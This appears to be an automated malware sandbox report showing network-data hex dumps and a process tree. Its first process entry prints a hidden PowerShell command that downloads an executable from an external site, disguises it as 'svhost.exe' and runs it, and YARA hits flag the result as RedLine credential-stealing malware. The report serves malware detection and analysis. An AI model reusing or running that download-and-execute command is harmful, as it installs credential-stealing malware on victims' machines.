2023-02-02 07:09:15 UTC	1133	IN	Data Raw: a5 7e 2b b3 5c 68 25 bd 14 70 d4 38 27 1f 32 53 5a 22 d8 1d f0 7b 8a 7c 90 1f c9 d5 ec 04 57 07 83 8f 1d 6e bb 20 6d b3 72 a6 b3 10 94 bb 9a 8e 63 5d 15 ff 83 c8 f0 80 72 27 0b ca dc 61 2c d2 cc db d6 c4 5d d7 5e b9 cc bd 5d 24 c4 ba 80 b5 be ee e8 99 78 20 8e 2b 71 8f 45 d0 10 de a6 84 9a 1f 96 9e b1 03 8c 34 d0 f9 7c 6a 1b 0c 1d fe ba f3 19 79 6a 14 71 3f 59 53 fd 94 7e 98 fd d3 17 60 88 a4 98 39 93 e8 67 69 d5 78 98 0a 6a b6 9d f3 06 f6 d2 76 5e 21 dc c7 0c 11 b0 b3 be 19 dd a4 c3 04 b8 a5 86 8c a3 19 36 18 a0 6c 1c f1 1f 9b 1e 49 8a 66 dd 08 2b d2 fa 92 d2 a4 a6 dd 5e ab 88 31 bb 22 16 a6 59 0f 3f 83 1e 5e 9c dd c0 8c 42 14 6d f5 3e 9e 5d 8e 72 fc d5 87 80 70 67 73 07 c6 3d 1a 6d e7 99 ab cb 64 cc f2 8c 5f 23 f3 9d a2 1e c8 c2 fd ef 2e ea ce 4d e3 cf Data Ascii: ~+\h%p8'2SZ"{\|Wn mrc]r'a,]^]$x +qE4\|jyjq?YS~`9gixjv^!6lIf+^1"Y?^Bm>]rpgs=md_#.M
2023-02-02 07:09:15 UTC	1140	IN	Data Raw: ea 16 97 27 5f e2 a3 9f 5e 24 26 53 98 7f bb 1e 3e 32 a3 de ad 1c 0a cf 54 f7 5b 32 fb d3 c8 dd e6 cf 8a 97 83 80 21 1f 32 8d 9d ec b3 33 60 8d 73 6b 64 1c 56 6f 28 96 80 1e 83 1c 15 5b 88 7a 12 c2 73 cf 58 e5 0f 1d d9 3b f7 d1 7d 7d 2e 1e 55 80 b0 92 49 ca 3a b0 fe 4e aa 3a b9 74 f0 11 04 46 fd 85 64 24 30 ad 16 84 6d cc 5f 5c 9b 05 0c 63 cd 0a 07 fb 22 64 b9 48 ef e8 62 9e 80 77 60 ef 2a 19 56 58 02 12 26 55 8e 3a 7c b9 ea 04 2e a8 cf 91 64 84 87 a0 b7 2e 0d 22 72 6f b0 be cc 77 9a 69 ca f4 4f 28 83 9d 7e f8 b3 4f 6f 28 85 1c 31 8c a5 b6 97 ed f6 ec 12 81 9e c0 ea 5d aa cd 35 b4 5a dd 4b ca cc 3d c7 a1 0c 5a e7 d6 49 e7 d3 d3 be f7 c3 0c f0 8c d7 7a 0d 13 86 86 8d ae 49 73 6e ef 84 c3 f0 ac cc 9e e2 1c 14 4b fa 66 03 8d 70 06 f1 37 b8 63 1a 01 cf e8 6b Data Ascii: '_^$&S>2T[2!23`skdVo([zsX;}}.UI:N:tFd$0m_\c"dHbw`*VX&U:\|.d."rowiO(~Oo(1]5ZK=ZIzIsnKfp7ck
2023-02-02 07:09:15 UTC	1148	IN	Data Raw: d1 31 be fc 15 1a 50 87 6b be 47 de cc ec 31 5e 9e ef 6c 55 52 00 a6 47 f2 c4 ee c5 c9 06 90 f7 9f 88 57 81 ac d7 a0 b3 7c d2 42 f3 30 72 af dd 62 81 a4 9c bf dc ad 54 ad 09 11 9f 50 81 55 38 86 e8 07 0b 15 f8 90 4a a9 e8 03 71 59 8a 06 c9 54 35 90 1e 38 62 96 cb fc 57 76 34 5b 53 4c 85 5f 28 50 1d 0e f1 b0 ed ae 15 6e 9f c8 86 ba 35 d9 10 90 ce 15 83 72 43 ea 06 3b d2 6b 8f b9 7c d2 12 d5 fb 61 a7 28 3b cf 4e c1 e9 c2 4c 23 85 ea 11 0f 54 a8 86 8c bf bb 02 fe ea f0 39 48 59 0a 19 84 72 2d 7d 31 78 c8 36 af a4 0c ca 7d 49 e3 cb 70 9c 5f d6 7f df 6e d0 80 ea f9 ee fa 3a 04 ce 5c 78 92 85 3b 00 e4 1d 7a 6f 01 72 d6 4c 8d 9c 2b 0a 71 f6 b9 12 e3 b1 58 84 ba 90 5e 4f c0 e5 3e db 5f d0 0c 6f 63 96 5d 3b 54 5c 62 43 30 59 ea 2f ad 49 06 1c ba 4f 39 a4 be 16 ab Data Ascii: 1PkG1^lURGW\|B0rbTPU8JqYT58bWv4[SL_(Pn5rC;k\|a(;NL#T9HYr-}1x6}Ip_n:\x;zorL+qX^O>_oc];T\bC0Y/IO9
2023-02-02 07:09:15 UTC	1156	IN	Data Raw: 35 d7 7f b1 c6 0f f9 b6 f9 99 b9 b2 d9 07 57 69 75 9f 7b c2 f0 4f b2 f3 f9 7f fc b8 63 91 bc 82 22 2c 8c 96 b9 d2 2d 20 eb e7 e7 69 dc 21 e8 e7 5a a2 af a6 b2 75 7f 27 90 20 9f 82 35 15 9a 6d dc 90 f6 ee 1c 46 c6 dd 1a 60 29 9d 69 b1 3a e5 02 7e 6f 3e 19 de 0a df 4e a0 43 93 ca f4 af 5e d2 59 11 c7 ce fe 5c ac 19 90 3f 76 7f fd 16 4d 15 d3 9a 39 5a b4 2b c1 f4 e8 ff 33 ef ea 9a 5f cb fd 02 e7 d5 36 5a a5 93 22 77 43 8d cc 03 90 01 ca cd 18 18 84 25 c1 0f 5c f0 a2 33 41 20 6c 22 5b 4a 17 07 3e 3c e6 4c 82 d2 e9 4f 1a fa 50 fb bf 3f 72 7a e0 cd 91 7e 20 1c 1b 82 ef 15 7b ab 9a 8e 75 88 19 5f 67 fa a0 4f e1 f8 7e b8 e6 ba a0 4f 85 15 3d 45 24 e2 87 ab 59 17 c4 84 cb b3 fb 24 3b 6f dd 7e 8e 42 ba 00 0c a3 af ce 18 91 16 92 1f 76 7e af e3 b2 81 e0 84 25 0c 8e Data Ascii: 5Wiu{Oc",- i!Zu' 5mF`)i:~o>NC^Y\?vM9Z+3_6Z"wC%\3A l"[J><LOP?rz~ {u_gO~O=E$Y$;o~Bv~%
2023-02-02 07:09:15 UTC	1164	IN	Data Raw: aa 4e 2f ec 3a 2e b8 4d ff 0e 42 12 57 04 25 92 c3 fb 85 66 c1 50 07 cb ee d7 66 18 f7 21 82 d5 b9 e8 ff f4 4b 95 df e3 d1 25 d9 ab 8d a9 d8 4e 41 b1 0d 52 ec 30 62 34 a8 3d 29 20 ec 11 68 f9 42 82 31 c2 9f 57 06 9b 3e e4 66 01 8a d3 ac 0c 42 a6 ff bd 9e b7 b9 85 3d 7f 47 3d d8 a5 4e d4 f7 b5 51 00 ab 8b f0 3f 82 2c 2d e3 c0 14 6d 5e f9 88 db 26 8b c2 8e d0 24 94 74 16 de c0 3a b4 23 f9 cb 67 71 df fe 8b f7 30 55 27 7f 92 4f 5f d8 c5 78 d6 f5 a8 67 21 87 7b c6 85 e0 23 ff 94 37 f9 e0 a1 7b 9d 28 42 72 d9 0c b0 e1 94 82 7d 1f 9d ff 9a 07 49 53 2a 63 b7 18 07 54 a1 f1 67 59 ea dc 08 ba 58 bc f3 dd dd 60 3d cc f9 93 55 b8 78 f3 e3 22 87 38 fc 3e 80 78 80 f9 08 c8 4d ae 47 55 50 f9 6f 59 ad ec e6 3d ff 1d eb 0c 2d 1a 81 87 ee 29 35 d8 1a 65 10 db ab b3 ef 9b Data Ascii: N/:.MBW%fPf!K%NAR0b4=) hB1W>fB=G=NQ?,-m^&$t:#gq0U'O_xg!{#7{(Br}IS*cTgYX`=Ux"8>xMGUPoY=-)5e
2023-02-02 07:09:15 UTC	1172	IN	Data Raw: bb fe fb ae d3 78 49 5a 93 25 88 8c f8 f3 45 f0 fb bf 5f 5c 77 cb ba e9 59 9a bc 72 68 a4 07 a0 e7 bc c9 fd 3f 2b c9 c4 1b be d7 1d 07 f9 d7 7b 06 b3 e3 7f 16 23 aa 49 6a 3e 28 57 10 fd 16 fc b0 8c 8e 1f 72 f0 ff d2 b0 4f ce 12 49 d2 db 76 e0 09 d0 93 22 6c 55 e4 bb 43 f5 be 0d 17 6d cb 91 d1 05 31 3c 1d 5a 9a 63 c1 86 50 ee 45 1f c7 76 08 82 54 b8 c2 85 76 ae 98 11 45 73 ca 9d d2 63 1a 9d 9b aa b2 1a f1 14 8e 90 2c a8 26 22 89 7d e1 42 e9 3d a4 bf ad 06 8d 71 38 d0 46 64 ce 63 38 4e 70 00 4d 16 f4 31 1a 94 5e 6b 7b 4c f5 89 ae 8e 9b 39 d3 e5 af 2a 4c 29 9f 9f b1 63 45 19 08 c1 5d 68 ad a2 8d 74 fc 43 19 af 12 49 68 b0 b4 2c 08 03 cf 70 66 7c c4 92 43 80 bb 90 72 c2 b2 41 e4 24 bc 45 55 04 91 0c ea a0 d4 97 1d 8b 2a bc 71 31 ab bb 08 52 e5 3e 26 50 7a 64 Data Ascii: xIZ%E_\wYrh?+{#Ij>(WrOIv"lUCm1<ZcPEvTvEsc,&"}B=q8Fdc8NpM1^k{L9L)cE]htCIh,pf\|CrA$EUq1R>&Pzd
2023-02-02 07:09:15 UTC	1179	IN	Data Raw: 68 2f d5 75 5f 93 3b 05 7d 6e 71 67 a1 b8 cb a9 df 95 b1 e9 ec 93 12 5c 93 81 28 ab c1 8e ba 0d 45 b0 2c 03 83 59 aa a9 42 b5 c5 f9 82 36 da d8 50 c9 ab 49 aa 02 f8 28 91 83 9c dc 0e 1d 39 41 46 8f c4 6d 5a 13 13 9f 75 31 46 7d b3 5c a9 1f af 6c 24 dd 7c 25 e7 7c 2a 5b 21 91 90 91 f4 02 9f 26 49 04 3b ab 1e 16 f0 55 02 97 3d b3 cc 24 f2 9a 6b 0a 42 6b af 55 d3 aa 6c 50 75 1c 6e 73 dc 79 99 23 3c 25 93 85 fe ca cf dc 86 13 5b 6f fd ed 3d 28 6e 7a c3 c0 80 cb 94 62 5f 8b 07 71 6c f4 63 fc 73 b6 42 f1 35 de 53 8c e7 2d d6 25 71 28 50 55 47 76 51 14 4f 21 0c 84 3c 49 f7 58 cb e5 39 99 e8 56 fe 53 81 ad 8f 4d 17 60 ea 5f e3 04 3b 5b c2 00 60 54 1a 82 01 03 99 5b ce cd 03 f1 cd 2f 19 51 29 92 a5 c6 9f 09 18 d5 9d 80 79 34 9d 33 b6 6e 3e 15 ae 59 f8 1f a8 25 55 Data Ascii: h/u_;}nqg\(E,YB6PI(9AFmZu1F}\l$\|%\|*[!&I;U=$kBkUlPunsy#<%[o=(nzb_qlcsB5S-%q(PUGvQO!<IX9VSM`_;[`T[/Q)y43n>Y%U
2023-02-02 07:09:15 UTC	1187	IN	Data Raw: 73 a1 33 29 c0 ed 03 30 95 ed 43 e2 a3 aa 7e a5 6b df 90 c5 85 af 32 65 2f da 7a c4 c2 43 83 ab 34 db e9 e7 bd 2c fd 78 30 cf b4 d5 04 e2 34 cb fc 77 24 d8 5b ef ee 1c 5a 78 54 8c 8a 05 12 89 15 77 59 ae 9e e5 32 32 b1 85 e3 9c b1 5b d5 10 09 8d e8 9c 21 b1 47 d1 aa 06 7e 1d 6a c4 42 98 08 6d c7 dd 2d b1 34 e6 65 c6 3c 9a cf 57 87 17 c1 af fa 48 0f de 2d 4d 66 8d 1d dc 21 52 21 d5 f0 a6 2d 96 20 9f f0 67 2b 83 a8 68 4f cc c1 3d f3 ae d6 5e 2f 3a ae 24 68 74 27 8f 74 b1 5a 3c 03 7e ef 74 df b4 bc 04 5a b1 f1 b1 99 ae f4 e5 8c eb 6c 2d 9b 24 ce a3 f3 08 49 30 4c 68 a9 d4 bb 65 b9 38 0f a4 21 57 4d 74 4b 48 1d 33 12 77 8e 7e 83 34 bf b6 c7 f7 aa c6 34 26 59 7e 49 d6 f8 7e 49 95 36 16 70 3a 32 77 27 10 ae d6 89 d1 38 2e a6 da 9f 82 86 20 26 3b 8d 91 02 4d 4a Data Ascii: s3)0C~k2e/zC4,x04w$[ZxTwY22[!G~jBm-4e<WH-Mf!R!- g+hO=^/:$ht'tZ<~tZl-$I0Lhe8!WMtKH3w~44&Y~I~I6p:2w'8. &;MJ
2023-02-02 07:09:15 UTC	1195	IN	Data Raw: ba 07 fe 30 36 af 08 66 2a 97 89 b5 87 61 26 4c 43 d0 a1 ab 7a 3e c6 47 36 75 f5 08 ed 9f eb 0b 21 37 eb 29 f1 45 b3 95 aa 36 55 1e 7e 42 44 26 ff ab b4 25 5c 49 04 b5 3b 5b 26 ef 48 75 a0 e1 1c f2 2e c2 db f2 9b 16 c0 aa cc 86 40 6b cc 94 71 ef 99 43 a4 c0 57 24 88 60 7d de ec 79 73 6f 22 8c 4d b5 e0 53 20 c6 7d fd 9b 58 1f fd 94 4f a6 1c 2d bf 20 f1 c2 20 ff 95 9b 8c 3d 3d 7b f1 d7 b9 33 0b 3f 02 3f 94 3a e3 f5 25 69 56 9c c8 27 b9 4b 80 99 e9 20 10 22 0f 66 2e 80 9d 8d 52 b6 c8 79 d6 9a ff 38 6c 9d cb ae 23 a2 9a c3 10 2e a4 1c 60 97 74 dd 9d f8 36 5f 9c 60 e7 05 16 36 5d dd 86 ea 33 52 f9 a6 4b 0a 07 58 ea 6b 65 b9 ac 3a 74 84 14 fc 36 42 9a b7 07 6a 14 ea fa 97 88 4d 34 f8 bb a0 de a0 3d b8 b4 63 65 a2 33 4e e0 3a 68 87 e4 51 e1 21 f8 d3 73 a6 08 34 Data Ascii: 06f*a&LCz>G6u!7)E6U~BD&%\I;[&Hu.@kqCW$`}yso"MS }XO- =={3??:%iV'K "f.Ry8l#.`t6_`6]3RKXke:t6BjM4=ce3N:hQ!s4
2023-02-02 07:09:15 UTC	1203	IN	Data Raw: 67 ee df 33 a8 5b 58 90 8a a6 d6 99 62 a4 92 84 75 d9 04 85 a5 f2 26 49 87 c1 83 e0 29 88 ba 48 f3 1e 4e 6d 34 a2 99 e5 7f 6e 9b 82 0b fa e5 57 9d df f6 74 17 d1 c9 11 10 41 00 a2 c1 eb d5 c9 ba b9 a7 a8 b2 da 47 c0 34 19 f0 b4 60 c4 49 f6 63 e9 f2 fa 03 86 7a 53 6f 79 12 26 fe 78 eb 45 35 ca 74 3e ee b1 bb e2 37 4a dc b3 ad 5d 45 08 74 0e b8 0c 26 9e 72 95 fc 5e d3 a9 d4 ca 08 9e 6c a5 ee f8 56 8c be 9f c0 04 f6 a0 45 1a a4 f4 74 fc 52 c0 23 70 13 87 48 67 a4 20 50 48 ab 27 d8 26 31 11 03 58 ce 4e 9e 68 30 81 58 82 9b c4 65 8f e7 e8 86 ba a0 fc 23 5e 59 cc 7d 2e d4 b9 83 38 ad e2 51 c1 9a c9 58 d6 d9 91 7d df b9 e3 96 70 16 b4 e0 3b 28 bd 43 38 95 76 36 ec b1 25 d0 44 df d2 55 ca 2d 05 da b2 33 8a 36 57 25 81 11 98 37 0a 64 60 bc 96 b8 d9 43 50 7a f7 18 Data Ascii: g3[Xbu&I)HNm4nWtAG4`IczSoy&xE5t>7J]Et&r^lVEtR#pHg PH'&1XNh0Xe#^Y}.8QX}p;(C8v6%DU-36W%7d`CPz
2023-02-02 07:09:15 UTC	1211	IN	Data Raw: 5d fb 8f 7d bc 33 d6 69 ec 72 a6 76 ef fd ac 07 7b c9 5d 09 dc 20 0a 30 78 b0 01 3b 6d 7e f2 85 45 c7 e0 23 6a 2c 57 59 18 de af 7f 7e 9b 30 0e c1 9b e0 0c f6 f4 92 e0 84 b9 d4 81 3d ae 3f 28 66 ec 55 d9 c2 e0 18 f0 42 66 82 d9 93 fe 99 b4 af 91 20 2f 9c fd 4d 46 92 05 aa 2a a7 84 96 36 5a f3 6b 69 f3 cb 22 4d a4 30 10 5c 32 67 33 ee 33 5b 37 34 e1 36 96 93 c2 a6 38 08 5a a9 c0 a8 24 0e cd e9 b2 5e 1c 2e 5f de 40 47 ac 37 e8 ba 4f 9b 10 da 69 0d 52 c9 82 6f dd b6 e3 48 c7 eb 39 40 96 d1 d1 b8 81 23 76 9a ee 71 97 8b f4 8e 14 44 ed ac 11 50 7d 0e c3 4e 18 7a 20 23 9a 0b 9b 81 ac d2 75 9e a1 07 c8 4c 9b c8 4b 79 8c c9 ef 09 f9 df 75 70 da f1 3c 5f 2b 2b dd ce ea aa ff d4 37 53 60 62 fb 87 56 b6 22 2f 4b a8 b3 ae 4a c8 b0 1a 1b 6e a8 31 1b 96 98 b3 a4 56 fc Data Ascii: ]}3irv{] 0x;m~E#j,WY~0=?(fUBf /MF*6Zki"M0\2g33[7468Z$^._@G7OiRoH9@#vqDP}Nz #uLKyup<_++7S`bV"/KJn1V
2023-02-02 07:09:15 UTC	1219	IN	Data Raw: f5 b6 d1 b0 bf 4f f0 0b 92 d0 9b 34 c6 56 6d dd 46 08 1a 6d 4b 55 6f 55 f6 69 fa 79 7b 23 32 37 4a b9 a1 75 50 2a dd 68 37 e4 55 e3 85 4d aa 86 82 ba c4 20 2d 66 76 5c bf 65 8b bf 0e 32 c8 e0 e2 74 2b 64 66 7b 19 8b c2 a7 0f e4 70 fa 2b 35 1c 49 9e 5e 2f 08 d5 88 87 a1 c0 52 99 ad 98 5a 96 7e 00 d4 c8 43 27 36 b0 ba 74 6c 5a b7 e4 67 45 f1 ae 4c ec 17 d8 46 64 75 4b 3e f1 d7 f8 65 2f 8c a3 9e 8d 9d 38 1a 07 36 66 c0 0e 84 b2 8a 8e 6f 10 15 84 d5 fb c6 f3 cb 25 67 b1 03 66 1b 38 7c 5a 13 ed aa d5 72 18 74 91 c9 68 0e b3 c8 7d bd 02 be 4e 82 bb e6 bc ca dd 15 f1 0e 5e af 4c 8f 21 ae 79 a3 c2 b2 b9 66 21 3d 51 48 f5 60 a9 9b 76 d6 bc 0e 9b 79 e3 c1 10 a6 ca be 1d 01 8a ef 9b 82 40 2d 4f 28 7c b9 cf 9d f9 f6 42 b0 ed 87 e1 8e cc 08 42 1e cb 88 6d 9f be 0b 19 Data Ascii: O4VmFmKUoUiy{#27JuP*h7UM -fv\e2t+df{p+5I^/RZ~C'6tlZgELFduK>e/86fo%gf8\|Zrth}N^L!yf!=QH`vy@-O(\|BBm
2023-02-02 07:09:15 UTC	1226	IN	Data Raw: b6 bb d3 d0 58 fb b4 36 6f 1c 77 5d af 2d a3 60 04 33 b8 64 c6 73 94 73 4b 91 8a 63 8e 69 0c 72 ab 74 b0 6e 8c f9 ed 0c ad 36 02 9b 24 f9 a5 89 d7 17 c6 52 8e 16 0a c9 0e 7f 66 d2 8a ef 29 ed 7b 70 cf 19 77 dc 39 e5 e3 1d ad f6 8c 41 4e 22 9c 54 39 e0 b7 32 7c e3 93 4e bd 80 47 8d 59 9f 1c 46 c5 7c a8 b5 13 f9 8d f9 f5 d2 e1 f9 ef af 86 d6 4b bb d3 7d 99 ce 29 8f dd a1 7a c6 8c 3a e2 a0 bf 56 d3 17 85 ef f1 53 79 24 e6 3d f8 d9 30 ef 00 4c b9 ee 6b 85 a6 e6 29 25 9f 89 d2 7a 05 24 33 4a e5 c6 dc 8d fe 92 b1 67 e8 2b 2f 19 5a 19 a6 1e e5 0d 05 36 c1 94 8d 2b 98 06 b9 78 ab b5 a2 c9 3b f1 ec 56 79 6a 77 0b 90 69 cf f8 ba fb fd 8e 19 9d a0 89 bf ad d3 ba 16 59 14 ed 18 6a 44 08 6d 50 88 37 27 ac b1 35 6e 2b 25 76 66 cc 5a 87 ea 90 bd 91 5c c4 23 b8 22 28 a1 Data Ascii: X6ow]-`3dssKcirtn6$Rf){pw9AN"T92\|NGYF\|K})z:VSy$=0Lk)%z$3Jg+/Z6+x;VyjwiYjDmP7'5n+%vfZ\#"(

Target ID:	0
Start time:	08:09:10
Start date:	02/02/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://oiartzunirratia.eus/install/clean/Lcovlccdxd.exe','C:\Users\user\AppData\Roaming\svhost.exe');Start-Process 'C:\Users\user\AppData\Roaming\svhost.exe'
Imagebase:	0x7ff7b7b10000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: Suspicious_PowerShell_WebDownload_1, Description: Detects suspicious PowerShell code that downloads from web sites, Source: 00000000.00000002.327507977.000001D9DA350000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: Suspicious_PowerShell_WebDownload_1, Description: Detects suspicious PowerShell code that downloads from web sites, Source: 00000000.00000002.327351810.000001D9DA340000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: Suspicious_PowerShell_WebDownload_1, Description: Detects suspicious PowerShell code that downloads from web sites, Source: 00000000.00000002.381690727.000001D9F43C3000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: Suspicious_PowerShell_WebDownload_1, Description: Detects suspicious PowerShell code that downloads from web sites, Source: 00000000.00000002.327507977.000001D9DA359000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems)
Reputation:	high

Show Windows behavior

Target ID:	1
Start time:	08:09:10
Start date:	02/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	2
Start time:	08:09:16
Start date:	02/02/2023
Path:	C:\Users\user\AppData\Roaming\svhost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\svhost.exe"
Imagebase:	0xd30000
File size:	1262592 bytes
MD5 hash:	D3713110654DC546BD5EDC306A6E7EFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000002.428265959.0000000004151000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.428265959.0000000004151000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000002.00000002.428265959.0000000004151000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000002.00000002.424099399.0000000003173000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: HKTL_NET_NAME_DotNetInject, Description: Detects .NET red/black-team tools via name, Source: 00000002.00000002.457069212.00000000056E0000.00000004.08000000.00040000.00000000.sdmp, Author: Arnim Rupp Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000002.00000002.464775648.0000000005960000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000002.424099399.0000000003278000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.424099399.0000000003278000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000002.00000002.424099399.0000000003278000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 41%, ReversingLabs
Reputation:	low

Show Windows behavior

Target ID:	3
Start time:	08:09:32
Start date:	02/02/2023
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
Imagebase:	0xa0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Target ID:	4
Start time:	08:09:33
Start date:	02/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	7
Start time:	08:10:00
Start date:	02/02/2023
Path:	C:\Users\user\AppData\Roaming\svhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\svhost.exe
Imagebase:	0xe00000
File size:	1262592 bytes
MD5 hash:	D3713110654DC546BD5EDC306A6E7EFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000007.00000002.580544741.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.580544741.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000007.00000002.580544741.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Target ID:	8
Start time:	08:10:00
Start date:	02/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	9
Start time:	08:10:10
Start date:	02/02/2023
Path:	C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe"
Imagebase:	0xff0000
File size:	1262592 bytes
MD5 hash:	D3713110654DC546BD5EDC306A6E7EFD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000009.00000002.587061238.000000000352F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 41%, ReversingLabs
Reputation:	low

Show Windows behavior

Target ID:	10
Start time:	08:10:19
Start date:	02/02/2023
Path:	C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe"
Imagebase:	0x90000
File size:	1262592 bytes
MD5 hash:	D3713110654DC546BD5EDC306A6E7EFD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000A.00000002.587414248.00000000025CD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Target ID:	11
Start time:	08:10:52
Start date:	02/02/2023
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
Imagebase:	0xa0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Target ID:	12
Start time:	08:10:52
Start date:	02/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	16
Start time:	08:11:11
Start date:	02/02/2023
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
